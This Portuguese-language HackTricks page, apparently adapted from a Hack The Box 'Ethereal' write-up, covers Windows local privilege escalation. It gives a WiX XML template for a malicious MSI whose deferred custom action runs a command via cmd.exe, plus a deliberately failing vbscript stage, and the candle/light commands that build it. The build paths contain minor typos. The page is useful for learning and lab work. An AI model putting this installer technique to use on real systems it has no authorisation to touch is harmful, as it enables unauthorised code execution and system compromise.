hacktricks/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md

<details>

<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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</details>


**Tutorial copiado de** [**https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root**](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)\
Para criar o msi, usaremos [wixtools](http://wixtoolset.org), você pode usar outros construtores de msi, mas eles não funcionaram para mim.\
Confira [esta página](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) para alguns exemplos de uso do wix msi.\
Vamos criar um msi que executa nosso arquivo lnk:
```markup
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
```
Vamos usar `candle.exe` do wixtools para criar um wixobject a partir de `msi.xml`
```markup
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
```
Então usaremos `light.exe` para criar o arquivo msi a partir do wixobject:
```markup
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
```
```markdown
![](https://0xrick.github.io/images/hackthebox/ethereal/66.png)


<details>

<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>
```